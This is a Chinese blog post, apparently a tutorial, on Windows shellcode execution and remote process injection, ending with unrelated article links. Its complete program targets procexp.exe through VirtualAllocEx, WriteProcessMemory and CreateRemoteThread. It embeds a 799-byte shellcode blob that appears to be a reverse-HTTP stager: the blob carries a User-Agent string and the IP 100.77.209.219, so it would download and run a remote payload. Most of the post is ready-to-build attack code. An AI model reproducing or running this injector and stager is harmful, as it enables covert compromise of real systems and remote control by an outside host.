我们直接写入可能无法执行

  1. unsigned char data[130] = {
  2. 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
  3. 0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
  4. 0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
  5. 0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
  6. 0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
  7. 0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
  8. 0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
  9. 0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
  10. 0x5D, 0xC3
  11. };
  12. typedef void(*PFN_FOO)();
  13. int main()
  14. {
  15. PFN_FOO f = (PFN_FOO)(void *)data;
  16. f();

无法执行

可以看到可读可写不可执行,修改保存就行了

因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

VirtualAlloc

  1. LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit
  2. SIZE_T dwSize, // size of region
  3. DWORD flAllocationType, // type of allocation
  4. DWORD flProtect // type of access protection);

这里来申请一块

  1. LPVOID lpAddr = VirtualAlloc(
  2. NULL, //表示任意地址,随机分配
  3. 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
  4. MEM_COMMIT, //告诉操作系统给分配一块内存
  5. PAGE_EXECUTE_READWRITE
  6. );
  7. if (lpAddr == NULL){
  8. printf("Alloc error!");
  9. return 0;
  10. }

可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

  1. memcpy(lpAddr, data, sizeof(data));
  2. typedef void(*PFN_FOO)();
  3. PFN_FOO f = (PFN_FOO)(void*)lpAddr;
  4. f();
  5. VirtualFree(lpAddr,1,MEM_DECOMMIT);

完整代码

  1. unsigned char data[130] = {
  2. 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
  3. 0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
  4. 0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
  5. 0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
  6. 0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
  7. 0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
  8. 0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
  9. 0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
  10. 0x5D, 0xC3
  11. };
  12. int main()
  13. {
  14. LPVOID lpAddr = VirtualAlloc(
  15. NULL, //表示任意地址,随机分配
  16. 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
  17. MEM_COMMIT, //告诉操作系统给分配一块内存
  18. PAGE_EXECUTE_READWRITE
  19. );
  20. if (lpAddr == NULL){
  21. printf("Alloc error!");
  22. return 0;
  23. }
  24. //到这里表示能够成功分配内存
  25. memcpy(lpAddr, data, sizeof(data));
  26. typedef void(*PFN_FOO)();
  27. PFN_FOO f = (PFN_FOO)(void*)lpAddr;
  28. f();
  29. VirtualFree(lpAddr,1,MEM_DECOMMIT);
  30. return 0;

这里我们本地写个messagebox,可以看到helloworld是再常量区地址为0C65858h,但是函数的引用地址却在0C6916Ch,他们之间是有强烈的依赖关系,所以我们如果直接把代码抽出来是无法利用的

所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行

所以我们要先开辟空间然后再写入,然是可以看到VirtualAlloc写了谁调用在谁哪里开辟空间

所以我们就用加强版VirtualAllocEx,它可以在指定进程去开辟

VirtualAllocEx

  1. LPVOID VirtualAllocEx( HANDLE hProcess, // process to allocate memory
  2. LPVOID lpAddress, // desired starting address
  3. SIZE_T dwSize, // size of region to allocate
  4. DWORD flAllocationType, // type of allocation
  5. DWORD flProtect // type of access protection);

代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

  1. //获取快照
  2. HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  3. PROCESSENTRY32 pe32;
  4. DWORD pid = 0;
  5. pe32.dwSize = sizeof(PROCESSENTRY32);
  6. //查看第一个进程
  7. BOOL bRet = Process32First(hSnap, &pe32);
  8. while (bRet)
  9. {
  10. bRet = Process32Next(hSnap, &pe32);
  11. if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
  12. pid = pe32.th32ProcessID;
  13. break;
  14. }
  15. }
  16. //获取进程句柄
  17. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

就是昨天的代码,然后再来开辟一个空间

  1. //1.在目标进程开辟空间
  2. LPVOID lpAddr = VirtualAllocEx(
  3. hProcess, //在目标进程中开辟空间
  4. NULL, //表示任意地址,随机分配
  5. 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
  6. MEM_COMMIT, //告诉操作系统给分配一块内存
  7. PAGE_EXECUTE_READWRITE
  8. );
  9. if (lpAddr == NULL){
  10. printf("Alloc error!");
  11. return 0;
  12. }

然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的

WriteProcessMemory

  1. BOOL WriteProcessMemory(
  2. HANDLE hProcess, // handle to process
  3. LPVOID lpBaseAddress, // base of memory area
  4. LPCVOID lpBuffer, // data buffer
  5. SIZE_T nSize, // count of bytes to write
  6. SIZE_T * lpNumberOfBytesWritten // count of bytes written);

这里我们就写入进去

  1. //2.在目标进程中写入代码
  2. bRet = WriteProcessMemory(
  3. hProcess, //目标进程
  4. lpAddr, //目标地址 目标进程中
  5. data, //源数据 当前进程中
  6. sizeof(data), //写多大
  7. &dwWritesBytes //成功写入的字节数
  8. );
  9. if (!bRet){
  10. VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
  11. return 0;
  12. }

写进去了还要调用才能执行,创建远程线程

CreateRemoteThread

  1. HANDLE CreateRemoteThread(
  2. HANDLE hProcess, // handle to process
  3. LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  4. SIZE_T dwStackSize, // initial stack size
  5. LPTHREAD_START_ROUTINE lpStartAddress, // thread function
  6. LPVOID lpParameter, // thread argument
  7. DWORD dwCreationFlags, // creation option
  8. LPDWORD lpThreadId // thread identifier);

返回目标进程的线程

  1. //3.向目标程序调用一个线程 创建远程线程 执行写入代码
  2. HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
  3. NULL,
  4. 0,
  5. (LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
  6. NULL, //回调参数
  7. 0,
  8. NULL
  9. );

这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放

完成代码为

  1. // shellcode.cpp : 定义控制台应用程序的入口点。
  2. //
  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #include <TlHelp32.h>
  6. /* length: 799 bytes */
  7. unsigned char data[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xae\x08\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x58\x66\x39\x65\x00\xc8\x03\xfe\x93\x1a\x5e\x52\x6d\x5a\x5d\x0d\x22\x3c\x47\x8e\x31\x2d\x7b\xee\xa8\xc3\x22\x6b\x24\xb5\x43\x4d\x44\x35\x96\x5c\x48\xd7\xed\x39\xcc\xee\xbf\xde\x49\x49\x3f\x83\x58\xe9\x48\x1e\x33\xc7\x49\x50\x48\xd4\x97\xc7\x14\xf4\x34\x36\x15\x89\x74\x00\x00\xb2\x0a\xd7\x63\x86\xdc\x5e\x9b\x74\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4c\x42\x42\x52\x4f\x57\x53\x45\x52\x29\x0d\x0a\x00\x0b\x81\xc7\x34\x3d\xa6\xb5\x8f\x9a\xeb\x20\x23\xc5\xb5\xe6\x9d\x11\x47\x8e\xc0\x15\xd9\x15\xc4\x57\x55\x1a\xd1\xc7\xcd\xfc\xa6\xef\xfe\xe0\x02\xfc\xaa\x9e\x73\xf7\x3c\xa0\xd8\xef\xae\x42\x73\x79\x7a\x50\xe2\x04\x6a\xb3\x1c\x8e\xd4\xfa\x11\x0f\x4d\xe7\x16\xfe\x22\x29\xa9\x81\x5b\x45\xf0\xc6\x90\x97\x49\xf6\x85\xa3\xf8\xc8\xf7\x7d\xcc\xab\x89\x33\x13\x1a\x76\x30\x03\x10\x7f\x3e\x67\xe6\x59\xf9\xbd\x84\x70\x6e\x2a\x3a\x1f\x88\x51\xa8\x26\x89\x0e\x1b\xba\xef\xaf\xe8\xc5\x59\xbf\x4d\xe5\x47\xad\xef\xc8\x32\x31\xe8\xb5\x9d\xf9\xd6\xea\xf5\x64\xd6\xf3\xf6\xb5\xa0\xc9\x94\xf0\xbc\xe5\x5e\x51\xee\x31\x14\xc7\x94\xf2\x79\x56\x10\xc5\x56\x04\x85\xa9\x0a\x36\x7c\x2d\x4a\x06\xe2\xcf\x29\x25\x68\xc7\x9b\x90\xf6\x8f\x6a\x9b\xda\xf7\x2f\x96\x58\x9c\x44\x15\xf5\xbf\xe8\x4d\x82\x31\xcd\x5f\x39\x6a\xdf\xd7\xc3\xb5\x9c\x21\x23\x85\xbf\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x30\x2e\x37\x37\x2e\x32\x30\x39\x2e\x32\x31\x39\x00\x6f\xaa\x51\xc3";
  8. typedef void(*PFN_FOO)();
  9. int main()
  10. {
  11. //获取快照
  12. HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  13. PROCESSENTRY32 pe32;
  14. DWORD pid = 0;
  15. pe32.dwSize = sizeof(PROCESSENTRY32);
  16. //查看第一个进程
  17. BOOL bRet = Process32First(hSnap, &pe32);
  18. while (bRet)
  19. {
  20. bRet = Process32Next(hSnap, &pe32);
  21. if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
  22. pid = pe32.th32ProcessID;
  23. break;
  24. }
  25. }
  26. //获取进程句柄
  27. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  28. //1.在目标进程开辟空间
  29. LPVOID lpAddr = VirtualAllocEx(
  30. hProcess, //在目标进程中开辟空间
  31. NULL, //表示任意地址,随机分配
  32. 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
  33. MEM_COMMIT, //告诉操作系统给分配一块内存
  34. PAGE_EXECUTE_READWRITE
  35. );
  36. if (lpAddr == NULL){
  37. printf("Alloc error!");
  38. return 0;
  39. }
  40. DWORD dwWritesBytes = 0;
  41. //2.在目标进程中写入代码
  42. bRet = WriteProcessMemory(
  43. hProcess, //目标进程
  44. lpAddr, //目标地址 目标进程中
  45. data, //源数据 当前进程中
  46. sizeof(data), //写多大
  47. &dwWritesBytes //成功写入的字节数
  48. );
  49. if (!bRet){
  50. VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
  51. return 0;
  52. }
  53. //3.向目标程序调用一个线程 创建远程线程 执行写入代码
  54. HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
  55. NULL,
  56. 0,
  57. (LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
  58. NULL, //回调参数
  59. 0,
  60. NULL
  61. );
  62. return 0;
  63. }

shellcode注入原理的更多相关文章

  1. [Cuckoo SandBox]注入原理篇

    1.LoadExe 接python版本 通过调用LoadExe去加载Dll进行注入 所以先看LoadExe 加载器的功能吧 通过python管道接收到  processID,ThreadID,路径 , ...

  2. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  3. 【原创】内核ShellCode注入的一种方法

    标 题: [原创]内核ShellCode注入的一种方法 作 者: organic 时 间: 2013-05-04,04:34:08 链 接: http://bbs.pediy.com/showthre ...

  4. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  5. SQL注入原理

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一 部分程序员在编写代码的时候,没有对用户输入数据的合法性 ...

  6. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  7. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  8. PHP依赖注入原理与用法分析

    https://www.jb51.net/article/146025.htm 本文实例讲述了PHP依赖注入原理与用法.分享给大家供大家参考,具体如下: 引言 依然是来自到喜啦的一道面试题,你知道什么 ...

  9. 菜鸟详细解析Cookie注入原理

    一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了.我先普及下科普知识,在a ...

随机推荐

  1. idea git拉取、合并、处理冲突、提交代码具体操作

    早在两个月前我还在用eclipse开发,并且也发布的一些eclipse git的相关操作(操作都是本人亲自实践过的),但由于项目团队要求,开发工具统一用idea,实在不得已而为之切换了开发工具, 初次 ...

  2. Python 为什么没有 void 关键字?

    void 是编程语言中最常见的关键字之一,从字面上理解,它是"空的.空集.空白"的意思,最常用于 表示函数的一种返回值类型. 维基百科上有一个定义: The void type, ...

  3. openvswitch 流表操作

    流表组成 每条流表规则由一些列字段组成,可以分为**基础字段.匹配字段和动作字段**三部分. 在打印流表时,在流表中还存在一些显示字段,如duration,idle_age等,此处把这些字段也暂时归之 ...

  4. ceph osd跟cpu进行绑定

    通过cgroup将ceph-osd进程与某一个 CPU core 绑定脚本: mkdir -p /sys/fs/cgroup/cpuset/ceph # cup number : ,,, = - ec ...

  5. consul、eureka、nacos对比

    consul.eureka.nacos对比 配置中心 eureka 不支持 consul 支持 但用起来偏麻烦,不太符合springBoot框架的命名风格,支持动态刷新 nacos 支持 用起来简单, ...

  6. 第六篇 Scrum冲刺博客

    一.会议图片 二.项目进展 成员 已完成情况 今日任务 冯荣新 购物车列表,购物车工具栏 博客撰写 陈泽佳 静态结构 自定义图片组件,提交功能 徐伟浩 协助前端获取数据 协助前端获取数据 谢佳余 未完 ...

  7. P2607 [ZJOI2008]骑士 基环树,树dp;

    P2607 [ZJOI2008]骑士 本题本质上就是树dp,和没有上司的舞会差不多,只不过多了一个对基环树的处理. #include<iostream> #include<cstri ...

  8. [CSP-S2019]Emiya 家今天的饭 题解

    CSP-S2 2019 D2T1 很不错的一题DP,通过这道题学到了很多. 身为一个对DP一窍不通的蒟蒻,在考场上还挣扎了1h来推式子,居然还有几次几乎推出正解,然而最后还是只能打个32分的暴搜滚粗 ...

  9. 力扣Leetcode 21. 合并两个有序链表

    合并两个有序链表 将两个升序链表合并为一个新的升序链表并返回.新链表是通过拼接给定的两个链表的所有节点组成的. 示例: 输入:1->2->4, 1->3->4 输出:1-> ...

  10. 正则表达式断言精讲 Java语法实现

    目录 断言 1.2.3.1 情景导入 什么是断言 断言的语法规则 零宽断言为什么叫零宽断言 零宽 前行 负向 断言DEMO 断言的基础应用和实际用处 验证不包含 验证开头包含 验证开头包含且匹配到的数 ...